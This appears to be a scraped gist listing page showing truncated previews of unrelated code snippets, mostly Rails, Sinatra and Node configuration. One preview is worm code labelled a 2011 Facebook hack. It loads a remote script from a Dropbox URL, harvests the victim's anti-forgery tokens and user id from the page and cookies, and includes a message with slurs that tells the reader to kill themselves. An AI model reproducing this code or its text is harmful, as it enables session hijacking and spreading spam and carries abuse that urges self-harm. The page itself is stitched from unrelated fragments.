application.scss.erb - use <%= asset_path 'background.jpg' %>
on config/environments/production.rb
| require 'rubygems' | |
| require 'rack' | |
| class Object | |
| def webapp | |
| class << self | |
| define_method :call do |env| | |
| func, *attrs = env['PATH_INFO'].split('/').reject(&:empty?) | |
| [200, {}, send(func, *attrs)] | |
| end |
| #!/usr/bin/env node | |
| // requires node v0.3 | |
| // telnet.js 80 google.com | |
| net = require('net'); | |
| a = process.argv.slice(2); | |
| if (!a.length) { | |
| console.error("telnet.js port [ host=localhost ]"); | |
| process.exit(1); | |
| } | |
| s = require('net').Stream(); |
| class ReadAdapter #:nodoc: internal use only | |
| def initialize(block) | |
| @block = block | |
| end | |
| def inspect | |
| "#<#{self.class}>" | |
| end | |
| def <<(str) |
| require 'rubygems' | |
| require 'sinatra' | |
| require 'omniauth/oauth' | |
| set :sessions, true | |
| set :layout, true | |
| use OmniAuth::Builder do | |
| provider :twitter, 'key', 'secret' | |
| end |
| module Pjax | |
| extend ActiveSupport::Concern | |
| included do | |
| layout ->(c) { pjax_request? ? false : 'application' } | |
| end | |
| private | |
| def redirect_pjax_to(action, url = nil) | |
| new_url = url_for(url ? url : { action: action }) |
| // 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted). | |
| var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below."; | |
| var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();"; | |
| var myText = "Remove This App"; | |
| var post_form_id = document.getElementsByName('post_form_id')[0].value; | |
| var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; | |
| var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); |
| Sass::Engine::DEFAULT_OPTIONS[:load_paths].tap do |load_paths| | |
| load_paths << "#{Rails.root}/app/assets/stylesheets" | |
| load_paths << "#{Gem.loaded_specs['compass'].full_gem_path}/frameworks/compass/stylesheets" | |
| load_paths << "#{Gem.loaded_specs['html5-boilerplate'].full_gem_path}/stylesheets" | |
| load_paths << "#{Gem.loaded_specs['fancy-buttons'].full_gem_path}/lib/stylesheets" | |
| end |
| ### in Terminal | |
| # create rails app | |
| rails new test_app | |
| ############ start: edit Gemfile ############## | |
| #wrap sqlite3 in | |
| group :test, :development do | |
| gem 'sqlite3' | |
| end |
| # autoload concerns | |
| module YourApp | |
| class Application < Rails::Application | |
| config.autoload_paths += %W( | |
| #{config.root}/app/controllers/concerns | |
| #{config.root}/app/models/concerns | |
| ) | |
| end | |
| end |